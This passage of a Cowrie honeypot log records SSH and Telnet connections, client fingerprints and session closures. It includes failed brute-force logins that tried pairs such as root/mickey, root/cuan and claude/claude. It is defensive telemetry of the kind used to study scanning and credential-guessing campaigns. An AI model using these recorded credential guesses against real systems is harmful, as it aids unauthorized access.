{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:00.587479Z","src_ip":"87.251.64.176","session":"8a272da1d107","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38200,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb2f60ee0113","protocol":"telnet","message":"New connection: 192.119.13.58:38200 (10.17.0.5:23) [session: fb2f60ee0113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:00.706402Z"}
{"eventid":"cowrie.session.closed","duration":40.87018013000488,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:01.025113Z","src_ip":"192.119.13.58","session":"eafcdd104b59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40294,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca3f5e38c246","protocol":"telnet","message":"New connection: 192.119.13.58:40294 (10.17.0.5:23) [session: ca3f5e38c246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:01.178224Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49994,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6dce6d68a07","protocol":"telnet","message":"New connection: 192.119.13.58:49994 (10.17.0.5:23) [session: f6dce6d68a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:03.502427Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51340,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9a2086e03aa","protocol":"telnet","message":"New connection: 192.119.13.58:51340 (10.17.0.5:23) [session: d9a2086e03aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:03.816897Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.25.130","src_port":45266,"dst_ip":"159.203.135.109","dst_port":22,"session":"28be57290f56","protocol":"ssh","message":"New connection: 150.109.25.130:45266 (159.203.135.109:22) [session: 28be57290f56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:04.028025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:04.033732Z","src_ip":"150.109.25.130","session":"28be57290f56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:04.271987Z","src_ip":"150.109.25.130","session":"28be57290f56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":38574,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6ebc4c62478","protocol":"ssh","message":"New connection: 175.118.127.138:38574 (10.17.0.5:22) [session: d6ebc4c62478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:05.147343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:05.152825Z","src_ip":"175.118.127.138","session":"d6ebc4c62478","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:05.257571Z","src_ip":"150.109.25.130","session":"28be57290f56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57606,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1e32d8de3fb","protocol":"telnet","message":"New connection: 192.119.13.58:57606 (10.17.0.5:23) [session: e1e32d8de3fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:05.293622Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:05.334918Z","src_ip":"175.118.127.138","session":"d6ebc4c62478","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test123","password":"test@123","message":"login attempt [test123/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:06.093384Z","src_ip":"175.118.127.138","session":"d6ebc4c62478","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:06.502909Z","src_ip":"150.109.25.130","session":"28be57290f56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35218,"dst_ip":"10.17.0.5","dst_port":23,"session":"431810918d79","protocol":"telnet","message":"New connection: 192.119.13.58:35218 (10.17.0.5:23) [session: 431810918d79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:06.647566Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.249","src_port":40326,"dst_ip":"159.203.135.109","dst_port":22,"session":"b955ccd525f5","protocol":"ssh","message":"New connection: 165.154.5.249:40326 (159.203.135.109:22) [session: b955ccd525f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:07.169407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:07.174788Z","src_ip":"165.154.5.249","session":"b955ccd525f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:07.279001Z","src_ip":"175.118.127.138","session":"d6ebc4c62478","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:07.390345Z","src_ip":"165.154.5.249","session":"b955ccd525f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.87843632698059,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:07.572305Z","src_ip":"192.119.13.58","session":"ef4b6043b7ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40928,"dst_ip":"10.17.0.5","dst_port":23,"session":"3940136a34eb","protocol":"telnet","message":"New connection: 192.119.13.58:40928 (10.17.0.5:23) [session: 3940136a34eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:07.947623Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"cuan","message":"login attempt [root/cuan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:08.283958Z","src_ip":"165.154.5.249","session":"b955ccd525f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:09.504086Z","src_ip":"165.154.5.249","session":"b955ccd525f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.77615928649902,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:11.928641Z","src_ip":"192.119.13.58","session":"8cb16e4e0706","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.222.198","src_port":40656,"dst_ip":"159.203.135.109","dst_port":22,"session":"6541c275945a","protocol":"ssh","message":"New connection: 69.6.222.198:40656 (159.203.135.109:22) [session: 6541c275945a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:12.115795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:12.122223Z","src_ip":"69.6.222.198","session":"6541c275945a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:12.235838Z","src_ip":"69.6.222.198","session":"6541c275945a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mickey","message":"login attempt [root/mickey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:12.733397Z","src_ip":"69.6.222.198","session":"6541c275945a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:13.853180Z","src_ip":"69.6.222.198","session":"6541c275945a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45816,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc8edfa83b73","protocol":"telnet","message":"New connection: 192.119.13.58:45816 (10.17.0.5:23) [session: bc8edfa83b73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:15.883608Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50830,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d0102abe0a5","protocol":"telnet","message":"New connection: 192.119.13.58:50830 (10.17.0.5:23) [session: 4d0102abe0a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:17.087302Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46858,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ac645bfd215","protocol":"telnet","message":"New connection: 192.119.13.58:46858 (10.17.0.5:23) [session: 2ac645bfd215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:17.169958Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56698,"dst_ip":"10.17.0.5","dst_port":23,"session":"004d1d79bbf7","protocol":"telnet","message":"New connection: 192.119.13.58:56698 (10.17.0.5:23) [session: 004d1d79bbf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:18.509551Z"}
{"eventid":"cowrie.session.closed","duration":45.64964556694031,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:23.097801Z","src_ip":"192.119.13.58","session":"4524432b8b2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60776,"dst_ip":"10.17.0.5","dst_port":23,"session":"d36fc5f4230f","protocol":"telnet","message":"New connection: 192.119.13.58:60776 (10.17.0.5:23) [session: d36fc5f4230f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:26.419462Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.121.249","src_port":32974,"dst_ip":"159.203.135.109","dst_port":22,"session":"740fc9f67210","protocol":"ssh","message":"New connection: 43.163.121.249:32974 (159.203.135.109:22) [session: 740fc9f67210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:27.503459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:27.509406Z","src_ip":"43.163.121.249","session":"740fc9f67210","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:27.754759Z","src_ip":"43.163.121.249","session":"740fc9f67210","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.00562524795532,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:28.588482Z","src_ip":"192.119.13.58","session":"859655e72b81","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"cuan","message":"login attempt [root/cuan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:28.772017Z","src_ip":"43.163.121.249","session":"740fc9f67210","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:30.021831Z","src_ip":"43.163.121.249","session":"740fc9f67210","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.91898202896118,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:30.156248Z","src_ip":"192.119.13.58","session":"9fc4a685d57a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.221481561660767,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:32.399513Z","src_ip":"192.119.13.58","session":"ca3f5e38c246","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.877084732055664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:32.583353Z","src_ip":"192.119.13.58","session":"fb2f60ee0113","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47812,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2cb0923c88e","protocol":"telnet","message":"New connection: 192.119.13.58:47812 (10.17.0.5:23) [session: e2cb0923c88e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:38.033841Z"}
{"eventid":"cowrie.session.closed","duration":36.27020335197449,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:40.086968Z","src_ip":"192.119.13.58","session":"d9a2086e03aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37542,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e32c4d6c5a2","protocol":"telnet","message":"New connection: 192.119.13.58:37542 (10.17.0.5:23) [session: 2e32c4d6c5a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:41.477082Z"}
{"eventid":"cowrie.session.closed","duration":35.11607527732849,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:41.763501Z","src_ip":"192.119.13.58","session":"431810918d79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.847975730895996,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:42.795484Z","src_ip":"192.119.13.58","session":"3940136a34eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47874,"dst_ip":"10.17.0.5","dst_port":23,"session":"324d0d1e91d1","protocol":"telnet","message":"New connection: 192.119.13.58:47874 (10.17.0.5:23) [session: 324d0d1e91d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:44.046330Z"}
{"eventid":"cowrie.session.closed","duration":41.60578465461731,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:45.108078Z","src_ip":"192.119.13.58","session":"f6dce6d68a07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.295833349227905,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:45.589360Z","src_ip":"192.119.13.58","session":"e1e32d8de3fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52638,"dst_ip":"10.17.0.5","dst_port":23,"session":"230da64c8781","protocol":"telnet","message":"New connection: 192.119.13.58:52638 (10.17.0.5:23) [session: 230da64c8781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:46.290181Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":54710,"dst_ip":"10.17.0.5","dst_port":22,"session":"abe4c2291b54","protocol":"ssh","message":"New connection: 193.32.162.145:54710 (10.17.0.5:22) [session: abe4c2291b54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:47.896135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:47.901934Z","src_ip":"193.32.162.145","session":"abe4c2291b54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-d